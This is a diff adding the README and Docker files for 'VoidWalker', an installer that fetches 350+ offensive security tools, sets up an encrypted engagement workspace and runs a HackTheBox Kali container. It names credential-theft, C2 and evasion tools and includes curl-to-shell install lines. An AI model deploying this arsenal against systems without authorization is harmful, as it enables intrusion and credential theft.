+- π **Pentest environment (pe)** β an encrypted, target-centric workspace for **flags, creds, hosts and notes** (SQLCipher), a VPN-aware HTB tmux workspace, Rose Pine GNOME/XFCE desktop setup, and an offline cyberpunk HTML handbook (`pe guide`), reachable as `voidwalker env` (deploy) and `voidwalker pe β¦` (use).
+
+These aren't bolted-on scripts: the proven engines are vendored inside the `voidwalker` package and driven through VoidWalker's own themed UI and CLI β one package, one entry point.
+
+### π₯ Key Features
+- π§ **Architecture-Aware Installs**: Detects the host CPU (`amd64` / `arm64` / `armv7`) and selects matching binaries. Host-native tools without an ARM build are routed to a from-source path (`go install` / `cargo install`) instead of installing an x86 binary that can't run. Transfer/payload binaries are fetched for **every** published OS+arch (including Windows ARM64) so you have something to drop on any target.
+- π **Blazing Fast Engine**: Multi-threaded, parallel downloads utilizing Python's `ThreadPoolExecutor`. Skips existing files and automatically retries failed connections with exponential backoff.
+- π¨ **Automated C# Build Pipeline**: Clones and compiles custom C# offensive tools from source via `dotnet build -c Release`.
+- π **Obsidian Vault Scaffolding**: Instantly generates a structured, professional-grade engagement vault equipped with Dataview dashboards, templates (Hosts, Credentials, Findings), and dynamic attack cheatsheets.
+- π **Cross-Platform Support**: Seamlessly installs dependencies via `apt-get` (Linux) or `brew` (macOS), configuring tools across operating systems.
+- π¨ **Switchable Themes**: A refreshed neon-cyberpunk palette by default, with `--theme rosepine` / `--theme matrix` alternates (or set `VOIDWALKER_THEME`).
+- π©Ί **`--dry-run` & `selftest`**: Preview the exact per-architecture install plan without downloading anything, and validate the tool catalog offline.
+- ποΈ **Integrated References**: A curated repository of Maldev learning resources, commercial C2 frameworks, and offensive guides directly from the CLI.
+- π³ **Dockerised Kali Box**: A headless, repeatable Kali container that replaces a Parallels VM β one `hbox build` bakes the lean HTB arsenal, the `pe` zsh/tmux environment, and an in-container HTB VPN. See [`docker/`](docker/README.md).
+
+<br>
+
+## π οΈ The Arsenal
+VoidWalker curates over 350 specialized tools across the following domains:
+
+| Category | Description | Key Tools |
+| :--- | :--- | :--- |
+| **Windows Binaries** | Compiled C# AD recon, credential extraction, and lateral movement. | `Rubeus`, `Seatbelt`, `SharpHound`, `Certify`, `HandleKatz` |
+| **C# Build Targets** | Automated source-to-binary compilation for OPSEC. | `ADCSPwn`, `SharpSCCM`, `GhostlyHollowing`, `SauronEye` |
+| **Maldev & Evasion** | Custom loaders, sleep obfuscators, and shellcode runners. | `Freeze.rs`, `NimPlant`, `Ekko`, `CallStackMasker` |
+| **C2 Frameworks** | Command and Control servers for post-exploitation. | `Havoc`, `Mythic`, `Sliver`, `Empire`, `Covenant` |
+| **PowerShell** | Memory-resident scripts and AMSI bypasses. | `PowerSploit`, `Nishang`, `PowerView`, `Chimera` |
+| **Cross-Platform** | Tunnels, proxies, and relays across OS boundaries. | `Chisel`, `Ligolo-ng`, `Kerbrute`, `Fscan` |
+
+<br>
+
+## βοΈ Installation & Requirements
+
+### Dependencies
+- Python 3.8+ (standard library only β no pip dependencies to run)
+- `git`
+- `.NET SDK 8.0+` (Required for the C# compilation pipeline; arm64 SDK on ARM hosts β see `BUILD_GUIDE.md`)
+- `brew` (macOS) or `apt` (Linux)
+
+### Quick Start
+```bash
+# Clone the repository
+git clone https://github.com/daemon-404/voidwalker.py.git
+cd voidwalker.py
+
+# Launch the interactive console (run straight from the checkout)
+python3 voidwalker.py
+
+# β¦or install it and use the `voidwalker` command / module form
+pip install .
+voidwalker # same as python3 voidwalker.py
+python3 -m voidwalker # module entry point
+
+# See what WOULD be installed for THIS machine's architecture (no downloads)
+python3 voidwalker.py --dry-run
+
+# Validate the tool catalog offline
+python3 voidwalker.py selftest
+```
+
+### Install with UV β‘ (recommended)
+
+[`uv`](https://github.com/astral-sh/uv) is the fast Rust-based Python manager
+(and what VoidWalker itself uses to install some Python tools). Because
+VoidWalker is a pure-stdlib package with a console entry point, `uv` makes it a
+one-liner β no manual venv, and it works the same on x86_64 and ARM.
+
+```bash
+# Don't have uv yet? (works on Linux & macOS, amd64 + arm64)
+curl -LsSf https://astral.sh/uv/install.sh | sh
+
+# 1) Install the `voidwalker` command globally in an isolated environment
+uv tool install .
+voidwalker --dry-run
+voidwalker selftest
+
+# 2) β¦or run straight from the checkout without installing (uv manages the venv)
+uv run voidwalker.py # interactive menu
+uv run voidwalker.py --dry-run # per-arch install plan
+uv run voidwalker.py poc CVE-2021-44228
+
+# 3) β¦or run the entry point ephemerally with uvx (nothing left behind)
+uvx --from . voidwalker --dry-run
+
+# Pin a specific interpreter if you like (uv will fetch it for you)
+uv run --python 3.11 voidwalker.py
+```
+
+> `uv tool install .` puts `voidwalker` on your PATH via `~/.local/bin`
+> (run `uv tool update-shell` once if it isn't picked up). Upgrade later with
+> `uv tool upgrade voidwalker`, or uninstall with `uv tool uninstall voidwalker`.
+
+<br>
+
+## π₯οΈ Usage & Commands
+
+Launch the **interactive cyberpunk TUI** directly by running `python3 voidwalker.py` to access the main menu:
+```text
+[1] π Install Full Arsenal (350+ tools)
+[2] βοΈ Select Categories
+[3] β View All Tools
+[4] β System Packages (apt/brew)
+[5] β‘ Install Metasploit (msfconsole)
+[6] β Install AI Code Agents (claude / codex)
+[7] π Windows Binaries Only
+[8] β‘ Build C# Tools from Source
+[9] π‘οΈ Setup Pentest Obsidian Vault
+[10] βοΈ Fix / Harden Kali (pimpmykali)
+[11] π Deploy Pentest Environment (pe)
+[12] π‘οΈ Setup BloodHound-CE
+[13] βοΈ Proxy / Pivot Helper
+[14] β Engagement Logging / Evidence
+[15] π‘οΈ View Sources & Guides
+[16] β Exit
+```
+
+### CLI Search Helpers
+VoidWalker includes built-in offline search modules:
+```bash
+python3 voidwalker.py poc CVE-2021-44228 # Search local PoC-in-GitHub databases
+python3 voidwalker.py nse http # Search Nmap scripts
+python3 voidwalker.py shodan apache # Shodan terminal query (needs SHODAN_API_KEY)
+python3 voidwalker.py exploitdb wordpress # Search Exploit-DB
+python3 voidwalker.py dork # Interactive Google Dork generator
+```
+
+### Integrated Toolkits
+The folded-in Kali fixer and pentest environment are driven straight from the
+same CLI (global flags like `--theme` must come *before* the command; everything
+after the command is passed through to the underlying engine).
+
+> **Want a standalone `pe` command?** Run `voidwalker env` **once**. That runs the
+> full pentest-env installer β it symlinks `pe` and `htb-session` to
+> `~/.local/bin`, wires your `~/.zshrc` + `~/.tmux.conf` (prompt, tmux bar,
+> VPN-aware helpers), installs the deps, and copies a searchable offline HTML handbook,
+> and runs `pe init` for you. After that, open a new shell (`exec zsh`) and use
+> `pe init`, `pe target add Cap --ip β¦` **directly β no `voidwalker` prefix**.
+> The `voidwalker pe β¦` form is just a convenience that *also* works before you
+> deploy (it falls back to the bundled copy, writing the same encrypted DB).
+
+```bash
+# π Kali fix / harden (pimpmykali) β self-elevates with sudo, Kali/Debian only
+python3 voidwalker.py kali # curated submenu of common fixes
+python3 voidwalker.py kali --newvm # fresh-Kali setup (fix all)
+python3 voidwalker.py kali --missing # install the usual missing tooling
+python3 voidwalker.py kali --nmap --smbconf # pass any pimpmykali switch through
+
+# π Deploy the pentest environment (pe) β Linux & macOS
+python3 voidwalker.py env # deploy submenu (full / core / dry-run / uninstall)
+python3 voidwalker.py env --dry-run # preview every action, change nothing
+python3 voidwalker.py env --no-wm --no-theme # core only (skip desktop theming + BSPWM)
+
+# π Use the encrypted pe workspace (passthrough to the pe dispatcher)
+python3 voidwalker.py pe init # create + key the encrypted DB
+python3 voidwalker.py pe target add Cap --ip 10.10.10.245
+python3 voidwalker.py pe flag add user 'HTB{...}'
+python3 voidwalker.py pe cheat env # browse the in-terminal cheatsheets
+python3 voidwalker.py pe guide # open the Rose Pine Dawn HTML handbook
+python3 voidwalker.py pe guide tmux # open one dedicated app cheatsheet
+
+# π©Έ BloodHound-CE: download the official bloodhound-cli binary from GitHub,
+# auto-install Docker if missing, bring up the stack (Postgres+Neo4j+BloodHound),
+# and print the admin password + first-run steps. Linux & macOS.
+python3 voidwalker.py bloodhound # guided submenu (install / start / stop / creds)
+python3 voidwalker.py bloodhound containers up # raw passthrough to bloodhound-cli
+# UI: http://localhost:8080 Β· user: admin Β· pass: shown after install (config get)
+
+# 𧦠Proxy / pivot: wire proxychains4 to a SOCKS pivot (writes ~/.proxychains/β¦)
+python3 voidwalker.py proxy 127.0.0.1:1080 # then: proxychains4 nxc smb <target>
+python3 voidwalker.py proxy # submenu (set proxy / show / pivot cheatsheet)
+
+# π₯ Engagement logging + evidence (audit trail into ~/voidwalker/engagements/<name>/)
+python3 voidwalker.py rec shell HTB-Cap # recorded shell (asciinema/script)
+python3 voidwalker.py rec shot HTB-Cap # screenshot into evidence/
+
+# π₯οΈ Parallels VM (Kali guest): install Parallels Tools, fixing the noexec
+# mount + DKMS headers + libfuse2 rename. Attach the Tools CD first
+# (Actions > Install Parallels Tools). Self-elevates β do NOT prefix sudo.
+python3 voidwalker.py pt # unmount, remount exec, install
+python3 voidwalker.py pt --mount-only # just remount exec; run ./install yourself
+```
+
+<br>
+
+## π³ Kali Docker Box (HTB)
+
+A headless, repeatable Kali box for HackTheBox Academy / Labs / CTFs β a
+drop-in replacement for a Parallels VM on macOS. It **reuses VoidWalker** as the
+engine: the arch-aware downloader fetches the droppable arsenal, the package
+lists drive apt/pipx/uv/go, and the `pentest-env` gives the same Rose Pine
+zsh + tmux + encrypted `pe` workspace (minus the X11 rice, since it's headless).
+`voidwalker`, `pe`, `poc`, `nse` all work inside the box.
+
+```bash
+cd docker && cp .env.example .env # optional image/base settings
+./bin/hbox build # ~20β40 min: bakes the lean HTB arsenal (native architecture)
+./bin/hbox up && ./bin/hbox shell # tmux session inside the box
+./bin/hbox vpn up lab.ovpn # the HTB VPN runs INSIDE the container
+./bin/hbox verify # smoke-test the tools
+```
+
+Tools are baked into the image (repeatable build; run offline, `docker save`, or
+push to a registry); your work, encrypted DB, and VPN configs live on volumes.
+Run Burp Suite / Wireshark natively on macOS. Full docs, persistence and
+portability: [`docker/README.md`](docker/README.md).
+
+<br>
+
+## π§± Project Structure
+
+As of v5.3.0 the former single 4,000-line script is a modular package. The
+top-level `voidwalker.py` is now a thin launcher, so existing usage is unchanged.
+
+```text
+voidwalker.py # thin launcher shim (python3 voidwalker.py β¦)
+pyproject.toml # packaging + `voidwalker` console entry point
+voidwalker/
+βββ cli.py # argument parsing & dispatch (+ --dry-run, --theme, selftest)
+βββ hostinfo.py # OS + CPU architecture detection / asset selection
+βββ theme.py # colour palettes (voidwalker / rosepine / matrix)
+βββ ui.py # banners, menus, animations, progress widgets
+βββ download.py # download / extract / subprocess helpers
+βββ installers.py # apt / brew / uv / go / cargo / gem / dotnet installers
+βββ xplat.py # architecture-aware binary installation
+βββ vault.py # Obsidian engagement-vault scaffolding
+βββ search.py # poc / nse / exploitdb / shodan / dork helpers
+βββ selftest.py # offline catalog + integration validation
+βββ data/ # the catalog (data separated from logic)
+β βββ catalog.py # TOOL_CATEGORIES
+β βββ packages.py # apt/brew/pipx/uv/go/cargo/gem lists
+β βββ binaries.py # arch-aware (os, arch) β assets map
+β βββ build_targets.py # C# build targets
+β βββ sources.py # reference links & guides
+β βββ workspace.py # engagement directory scaffold
+βββ integrations/ # toolkits folded into VoidWalker
+ βββ kali.py # pimpmykali wrapper (voidwalker kali)
+ βββ penv.py # pentest-env wrapper (voidwalker env / pe / pt)
+ βββ bloodhound.py # BloodHound-CE setup (voidwalker bloodhound)
+ βββ assets/ # vendored upstream engines (shipped as package data)
+ βββ pimpmykali/ # pimpmykali.sh + nmap nse fix
+ βββ pentest-env/ # install.sh + pe config + offline HTML field manual
+
+docker/ # Kali HTB container β headless, repeatable
+βββ Dockerfile # layered multi-arch build; reuses voidwalker as installer + env
+βββ provision.py # DRY driver over voidwalker's catalog + arch-aware downloader
+βββ docker-compose.yml # NET_ADMIN + /dev/net/tun so the HTB VPN runs in-container
+βββ entrypoint.sh # first-run: tun device, dirs, defers interactive `pe init`
+βββ bin/hbox # host wrapper: build / up / shell / vpn / verify / save
+βββ config/ # container zsh + tmux tweaks + the `htb` VPN helper
+```
+
+### π₯οΈ Supported architectures
+
+| OS | amd64 (x86_64) | arm64 / aarch64 | armv7 (32-bit) |
+| :--- | :---: | :---: | :---: |
+| **Linux** | β
| β
| β
(from-source fallback where no prebuilt binary) |
+| **macOS** | β
| β
(Apple Silicon) | β |
+| **Windows targets** | β
| β
(ARM64 transfer binaries where upstream ships them) | β |
+
+`python3 voidwalker.py --dry-run` prints the resolved plan for the host you're on.
+
+## π Obsidian Vault Structure
+Running the `[9] Setup Pentest Obsidian Vault` option scaffolds the following engagement template directly into your `~/voidwalker/Vault` directory:
+
+```text
+~/voidwalker/Vault/
+βββ 01_Admin/ (Rules of Engagement, Scope, Configs)
+βββ 02_Recon/ (OSINT, Nmap Scans, AD enumeration)
+βββ 03_Hosts/ (Individual Host templates via Dataview)
+βββ 04_Credentials/ (Hashes, Kerberos tickets, cleartext)
+βββ 05_Findings/ (Vulnerabilities mapped to CVSS)
+βββ 06_Payloads/ (Compiled binaries, webshells, scripts)
+βββ Cheatsheets/ (AD Attacks, File Transfers, Reverse Shells, etc.)
+βββ Dashboard.md (Live Dataview engagement tracking)
+```
+
+<br>
+
+## β οΈ Disclaimer
+**AUTHORIZED USE ONLY.** VoidWalker is designed strictly for educational purposes, authorized security testing, and Red Team operations.
+
+- **DO** use on authorized targets only.
+- **DO NOT** run on production systems without explicit consent.
+- **DO NOT** commit the downloaded tool cache into Git.
+
+The authors are not responsible for any misuse, damage, or illegal activities caused by this tool.attachments/voidwalker-screenshot.png
new file mode 100644
Binary files /dev/null and b/attachments/voidwalker-screenshot.png differdocker/.env.example
new file mode 100644
@@ -0,0 +1,10 @@
+# Copy to .env and tweak. docker compose auto-loads docker/.env.
+# Image name/tag (used for build, save/load, and registry push).
+IMAGE_TAG=htb-kali:latest
+
+# Docker selects the host's native architecture automatically. To build for a
+# different host, uncomment and set this standard Docker variable.
+# DOCKER_DEFAULT_PLATFORM=linux/amd64
+
+# Complete official Kali base-image reference (build arg).
+KALI_IMAGE=kalilinux/kali-rollingdocker/.gitignore
new file mode 100644
@@ -0,0 +1,9 @@
+# Runtime data + secrets β never commit these, but keep the empty dirs so the
+# compose bind mounts have a source.
+.env
+*.tgz
+*.tar.gz
+work/*
+vpn/*
+!work/.gitkeep
+!vpn/.gitkeepdocker/Dockerfile
new file mode 100644
@@ -0,0 +1,103 @@
+# syntax=docker/dockerfile:1.7
+#
+# Kali HTB box β a headless, repeatable pentest environment that reuses the
+# VoidWalker project as both the tool installer and the zsh/tmux/pe environment.
+#
+# Build context is the REPO ROOT (so the voidwalker package is available):
+# docker build -f docker/Dockerfile -t htb-kali:latest .
+# or just use docker/bin/hbox build.
+#
+# Layers go coarse -> fine so editing a tool list doesn't rebuild the base.
+
+ARG KALI_IMAGE=kalilinux/kali-rolling
+FROM ${KALI_IMAGE} AS base
+
+ENV DEBIAN_FRONTEND=noninteractive \
+ LANG=C.UTF-8 \
+ LC_ALL=C.UTF-8 \
+ TERM=xterm-256color \
+ HOME=/root \
+ GOPATH=/root/go \
+ PE_WORKROOT=/root/htb \
+ PATH=/root/.local/bin:/root/go/bin:/usr/local/go/bin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+SHELL ["/bin/bash", "-euo", "pipefail", "-c"]
+
+# ββ Layer 1: base deps + language toolchains + pentest-env deps βββββββββββββββ
+# Kept in one cached layer because these rarely change. tshark/tcpdump replace
+# the wireshark GUI; pinentry-curses lets `pe init` prompt for its DB passphrase.
+RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
+ --mount=type=cache,target=/var/lib/apt,sharing=locked \
+ rm -f /etc/apt/apt.conf.d/docker-clean && \
+ apt-get update && apt-get install -y --no-install-recommends \
+ ca-certificates curl wget git gnupg2 sudo tzdata less procps psmisc file \
+ python3 python3-pip python3-venv python3-dev pipx \
+ golang-go ruby ruby-dev \
+ build-essential pkg-config \
+ zsh tmux sqlcipher fzf bat ripgrep fd-find eza jq xclip bsdextrautils \
+ pinentry-curses \
+ openvpn openresolv iproute2 iputils-ping net-tools dnsutils tcpdump tshark \
+ openssh-client rlwrap && \
+ ln -sf /usr/bin/pinentry-curses /usr/bin/pinentry
+
+# gpg-agent uses the curses pinentry (no X in the container).
+RUN mkdir -p /root/.gnupg && chmod 700 /root/.gnupg && \
+ printf 'pinentry-program /usr/bin/pinentry-curses\n' > /root/.gnupg/gpg-agent.conf
+
+# ββ Layer 2: install VoidWalker (CLI + importable package + bundled assets) βββ
+# Only the package + packaging metadata are copied, so this layer's cache is
+# invalidated by code changes, not by touching docker/ or work data.
+COPY pyproject.toml README.md LICENSE MANIFEST.in /opt/voidwalker/
+COPY voidwalker /opt/voidwalker/voidwalker
+RUN python3 -m pip install --no-cache-dir --break-system-packages /opt/voidwalker
+
+# The provisioning driver imports voidwalker's catalog and reuses its downloaders.
+COPY docker/provision.py /opt/htb/provision.py
+
+# ββ Layer 3: curated apt arsenal (list generated from voidwalker.data) ββββββββ
+# Batched install with per-package fallback so one unavailable package on this
+# arch never aborts the build.
+RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
+ --mount=type=cache,target=/var/lib/apt,sharing=locked \
+ apt-get update && \
+ PKGS="$(python3 /opt/htb/provision.py --print-apt)" && \
+ echo "arsenal packages: $PKGS" && \
+ apt-get install -y --no-install-recommends $PKGS || \
+ for p in $PKGS; do apt-get install -y --no-install-recommends "$p" || true; done && \
+ ( [ -f /usr/share/wordlists/rockyou.txt.gz ] && gunzip -f /usr/share/wordlists/rockyou.txt.gz || true )
+
+# ββ Layer 4: language tools + arch-aware droppable binaries βββββββββββββββββββ
+# pipx (curated) / uv (impacket,netexec,certipy,bloodyad,bofhound) / go (ffuf,
+# nuclei,httpx,β¦) / gems, then VoidWalker downloads every transfer-binary
+# variant (linpeas, pspy, chisel, ligolo-ng, kerbrute, SharpHound/Rubeus/
+# mimikatz droppables) into ~/voidwalker/tools and symlinks the host-arch ones.
+RUN --mount=type=cache,target=/root/.cache,sharing=locked \
+ --mount=type=cache,target=/root/go/pkg,sharing=locked \
+ python3 /opt/htb/provision.py --all
+
+# ββ Layer 5: deploy the pentest-env (zsh + tmux + pe), minus GUI rice βββββββββ
+# --no-wm/--no-theme/--no-fonts strip X11/GUI; --no-deps because layer 1 already
+# has them. `pe init` at the end is interactive (GPG passphrase) so it fails
+# harmlessly here; we wipe any partial DB and defer init to first run.
+# Run install.sh straight from the copied source (robust β no reliance on
+# package-data packaging), capture its log, then wipe the partial DB.
+RUN set -eu; \
+ bash /opt/voidwalker/voidwalker/integrations/assets/pentest-env/install.sh \
+ --no-wm --no-theme --no-fonts --no-deps </dev/null >/tmp/pe-install.log 2>&1 || true; \
+ tail -n 25 /tmp/pe-install.log || true; \
+ rm -rf /root/.local/share/pentest-env /root/.local/state/pentest-env; \
+ chsh -s "$(command -v zsh)" root || true
+
+# Container-specific shell/tmux tweaks (persistent shell history, GPG_TTY,
+# PATH to ~/voidwalker tools, and zsh as tmux's login shell). Appended after
+# the pentest-env blocks. Tmux pane/process state is intentionally not saved.
+COPY docker/config/htb.zshrc /opt/htb/config/htb.zshrc
+COPY docker/config/htb.tmux.conf /opt/htb/config/htb.tmux.conf
+COPY docker/config/htb /usr/local/bin/htb
+COPY docker/entrypoint.sh /usr/local/bin/entrypoint
+RUN chmod +x /usr/local/bin/htb /usr/local/bin/entrypoint && \
+ printf '\n# >>> htb-container >>>\n[ -f /opt/htb/config/htb.zshrc ] && source /opt/htb/config/htb.zshrc\n# <<< htb-container <<<\n' >> /root/.zshrc && \
+ printf '\nsource-file -q /opt/htb/config/htb.tmux.conf\n' >> /root/.tmux.conf
+
+WORKDIR /root/htb
+ENTRYPOINT ["/usr/local/bin/entrypoint"]
+CMD ["zsh", "-l"]docker/Dockerfile.dockerignore
new file mode 100644
@@ -0,0 +1,18 @@
+# Scoped to docker/Dockerfile (build context = repo root). Keeps the context
+# small and prevents work data / secrets from ever entering the build.
+.git
+**/__pycache__
+**/*.py[cod]
+**/.DS_Store
+build
+dist
+*.egg-info
+.venv
+venv
+uv.lock
+
+# Nothing under docker/ is needed by the build except what it COPYs explicitly.
+docker/work
+docker/vpn
+docker/.env
+attachmentsdocker/README.md
new file mode 100644
@@ -0,0 +1,151 @@
+# HTB Kali Box (Docker)
+
+A headless, repeatable Kali Linux pentest environment for HackTheBox
+Academy / Labs / CTFs β a drop-in replacement for a Parallels VM on macOS.
+
+It **reuses [VoidWalker](../README.md)** (this repo) as the engine:
+
+- VoidWalker's arch-aware downloader fetches the droppable arsenal
+ (linpeas, pspy, chisel, ligolo-ng, kerbrute, static nc/socat, plus
+ SharpHound/Rubeus/mimikatz Windows droppables).
+- VoidWalker's package lists drive apt/pipx/uv/go/gem installs.
+- VoidWalker's `pentest-env` gives the exact zsh + tmux + `pe` workspace you
+ already use (Rose Pine prompt, cheatsheets, encrypted flags/creds DB) β just
+ without the X11/GUI rice, since this is headless.
+
+The `voidwalker`, `pe`, `poc`, `nse`, and `exploitdb` commands are all available
+inside the box, so you can extend it at runtime.
+
+---
+
+## 1. Prerequisites
+
+```bash
+# Docker Desktop must be installed AND running.
+open -a Docker # start it if the whale icon isn't up
+docker info # should print server info (not an error)
+docker compose version # v2+
+```
+
+Docker selects the host's native architecture. For an intentional cross-build,
+set `DOCKER_DEFAULT_PLATFORM` in `.env` (for example, `linux/amd64`).
+
+## 2. First-time setup
+
+```bash
+cd docker
+cp .env.example .env # optional: tweak image/base tags
+./bin/hbox build # ~20-40 min once; downloads + bakes the arsenal
+./bin/hbox up # start the box (detached)
+./bin/hbox shell # attach a tmux session inside it
+```
+
+Put this on your PATH to drop the `./bin/` prefix:
+
+```bash
+echo 'export PATH="$HOME/git/voidwalker.py/docker/bin:$PATH"' >> ~/.zshrc
+```
+
+## 3. Inside the box (post-setup, run once)
+
+```bash
+pe init # set a passphrase; creates the encrypted DB
+newbox Cap 10.10.10.245 # register+activate a target, cd into ~/htb/Cap
+pe cheat env # tour of how pe/tmux/aliases fit together
+```
+
+The prompt and tmux status bar show the active target. `prefix` is `C-a` **or**
+`C-b`; `prefix + P` lays out the 3-pane HTB workspace.
+
+## 4. HTB VPN
+
+The VPN runs **inside** the container (Docker Desktop for Mac can't reach the
+Mac LAN via host networking). Drop `.ovpn` files in `docker/vpn/`, then:
+
+```bash
+hbox vpn up lab.ovpn # from the host (or, inside the box: htb up lab.ovpn)
+hbox vpn status # tun0 address + route
+hbox vpn down
+```
+
+## 5. Everyday workflow
+
+```bash
+hbox up # start
+hbox shell # create/attach tmux while the box is running
+hbox vpn up comp.ovpn
+# ... inside: newbox Blackfield 10.10.10.192 ; scan ; nxc smb $IP ; ffuf ...
+hbox stop # stop; DB, history, and work persist (tmux does not)
+```
+
+Burp Suite / Wireshark: run them **natively on macOS**. Route container HTTP
+through Burp with `burpenv` (sets `http_proxy` to `host.docker.internal:8080`)
+or `burpcurl <url>`. Capture packets in-box with `tcpdump -w cap.pcap`, open on
+the Mac.
+
+## 6. Persistence
+
+Baked into the image (repeatable build): all tools + the shell/tmux env.
+On volumes (your data survives rebuilds):
+
+| Host / volume | In container | Contents |
+| --- | --- | --- |
+| `docker/work/` | `/root/htb` | per-box workdirs |
+| `docker/vpn/` | `/root/vpn` (ro) | `.ovpn` files |
+| `htb-pe-data` | `β¦/share/pentest-env` | encrypted flags/creds DB + backups |
+| `htb-state` | `/root/.local/state` | pe key, zsh history, VPN/runtime state |
+
+Back up the encrypted DB anytime with `pe backup` (inside the box); restore with
+`pe restore`.
+
+Tmux state is intentionally not serialized. Pane commands, process arguments,
+and captured output can contain targets, tokens, or passwords. You can detach
+and run `hbox shell` again while the container remains running; after `hbox
+stop`, `hbox down`, or container recreation, `hbox shell` starts a fresh tmux
+session. The work directory, shell history, and encrypted `pe` data still
+survive through the mounts listed above.
+
+## 7. Portability β run it anywhere
+
+```bash
+# A) Rebuild from source on any machine with Docker:
+git clone <repo> && cd voidwalker.py/docker && ./bin/hbox build
+
+# B) Ship the built image as a tarball (offline, no rebuild):
+hbox save htb-kali.tgz # on the source machine
+# copy htb-kali.tgz across, then:
+hbox load htb-kali.tgz # on the target machine
+
+# C) Push to a registry:
+hbox push ghcr.io/<you>/htb-kali:latest
+```
+
+## 8. Verification checklist
+
+```bash
+hbox shell # then, inside:
+nmap --version; ffuf -V; nxc --version; impacket-secretsdump 2>&1 | head -1
+which linpeas pspy chisel kerbrute
+pe help; voidwalker --version
+tmux ls || tmux # config loads, Rose Pine status bar shows
+htb up lab.ovpn && htb status # tun0 comes up; then reach a target
+```
+
+## Optional: starship prompt
+
+The box ships VoidWalker's custom Rose Pine `prompt.zsh`. To swap in
+[starship](https://starship.rs) instead:
+
+```bash
+# inside the box
+curl -sS https://starship.rs/install.sh | sh -s -- -y
+# comment the prompt.zsh source line in the pentest-env zsh block and add:
+echo 'eval "$(starship init zsh)"' >> ~/.zshrc
+```
+
+## Optional: GUI apps via XQuartz
+
+Prefer native macOS Burp/Wireshark. If you truly need in-container GUIs: install
+[XQuartz](https://www.xquartz.org), `xhost +127.0.0.1`, add `-e
+DISPLAY=host.docker.internal:0` to the run, and `apt install` the GUI packages.
+Heavier and fiddlier than the native-macOS route.docker/bin/hbox
new file mode 100755
@@ -0,0 +1,80 @@
+#!/usr/bin/env bash
+# hbox β host-side control for the HTB Kali box (wraps docker compose).
+# Works from any directory; resolves the compose file next to itself.
+#
+# hbox build build the image (first run ~20-40 min)
+# hbox rebuild rebuild with --no-cache
+# hbox up start the box (detached)
+# hbox shell attach a tmux session inside the box (main entry)
+# hbox zsh plain login shell inside the box
+# hbox vpn up lab.ovpn run the in-container VPN helper (any `htb` args)
+# hbox verify smoke-test that key tools are present in the box
+# hbox stop | down stop / remove the container (named volumes kept)
+# hbox status | logs ps / follow logs
+# hbox save [file] export the image to a .tgz for another machine
+# hbox load [file] import an image .tgz
+# hbox push <registry> tag + push the image to a registry
+set -euo pipefail
+
+HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+PROJECT_DIR="$(cd "$HERE/.." && pwd)" # the docker/ dir (compose project root)
+cd "$PROJECT_DIR" # so ./work and ./vpn binds resolve here
+[ -f .env ] && set -a && . ./.env && set +a
+IMAGE="${IMAGE_TAG:-htb-kali:latest}"
+SVC=htb
+DC=(docker compose)
+
+need_docker() {
+ docker info >/dev/null 2>&1 || {
+ echo "Docker daemon not reachable. Start Docker Desktop, then retry." >&2
+ exit 1
+ }
+}
+ensure_up() { need_docker; "${DC[@]}" ps --status running --services 2>/dev/null | grep -qx "$SVC" || "${DC[@]}" up -d; }
+
+case "${1:-help}" in
+ build) need_docker; shift; "${DC[@]}" build "$@" ;;
+ rebuild) need_docker; "${DC[@]}" build --no-cache ;;
+ up) need_docker; "${DC[@]}" up -d ;;
+ shell) ensure_up; "${DC[@]}" exec "$SVC" tmux new -A -s htb ;;
+ zsh|sh) ensure_up; "${DC[@]}" exec "$SVC" zsh -l ;;
+ vpn) ensure_up; shift; "${DC[@]}" exec "$SVC" htb "$@" ;;
+ exec|run) ensure_up; shift; "${DC[@]}" exec "$SVC" "$@" ;;
+ verify) ensure_up; "${DC[@]}" exec "$SVC" bash -lc '
+ missing=0;
+ echo "== core tools ==";
+ for t in nmap ffuf nxc impacket-secretsdump sqlmap hydra john hashcat \
+ gobuster feroxbuster nikto wpscan responder smbclient \
+ linpeas pspy chisel kerbrute proxychains4 openvpn tmux zsh; do
+ if command -v "$t" >/dev/null 2>&1; then
+ printf " ok %s\n" "$t";
+ else
+ printf " MISS %s\n" "$t"; missing=$((missing + 1));
+ fi;
+ done;
+ echo "== voidwalker / pe ==";
+ voidwalker --version 2>/dev/null || { echo " MISS voidwalker"; missing=$((missing + 1)); };
+ if command -v pe >/dev/null; then
+ echo " ok pe ($(readlink -f "$(command -v pe)"))";
+ else
+ echo " MISS pe"; missing=$((missing + 1));
+ fi;
+ echo "== wordlists ==";
+ if [ -f /usr/share/wordlists/rockyou.txt ]; then
+ echo " ok rockyou.txt";
+ else
+ echo " MISS rockyou.txt"; missing=$((missing + 1));
+ fi;
+ [ "$missing" -eq 0 ] || { echo "verify failed: $missing item(s) missing" >&2; exit 1; };
+ ' ;;
+ stop) need_docker; "${DC[@]}" stop ;;
+ down) need_docker; "${DC[@]}" down ;;
+ status|ps) need_docker; "${DC[@]}" ps ;;
+ logs) need_docker; "${DC[@]}" logs -f ;;
+ save) need_docker; out="${2:-htb-kali.tgz}"; echo "saving $IMAGE -> $out"; docker save "$IMAGE" | gzip > "$out"; echo done ;;
+ load) need_docker; in="${2:-htb-kali.tgz}"; docker load -i "$in" ;;
+ push) need_docker; [ $# -ge 2 ] || { echo "usage: hbox push <registry/name:tag>" >&2; exit 1; }
+ docker tag "$IMAGE" "$2" && docker push "$2" ;;
+ help|-h|--help) sed -n '2,25p' "$0" | sed 's/^# \{0,1\}//' ;;
+ *) echo "unknown command: $1 (try: hbox help)" >&2; exit 1 ;;
+esacdocker/config/htb
new file mode 100755
@@ -0,0 +1,90 @@
+#!/usr/bin/env bash
+# htb β in-container HackTheBox VPN + workflow helper.
+#
+# The HTB VPN runs INSIDE this container (Docker Desktop for Mac can't bridge
+# --network host to the LAN), which is why the container needs NET_ADMIN and
+# /dev/net/tun. Drop your .ovpn files in ./vpn on the host (mounted read-only
+# at /root/vpn) and:
+#
+# htb up lab.ovpn start the VPN (backgrounded), wait for tun0
+# htb down stop the VPN
+# htb ip | status show tun0 address + route + state
+# htb ping <target> reachability check through the tunnel
+# htb ls list available .ovpn files
+set -eu
+
+VPN_DIR="${HTB_VPN_DIR:-/root/vpn}"
+STATE_DIR="${XDG_STATE_HOME:-$HOME/.local/state}/htb"
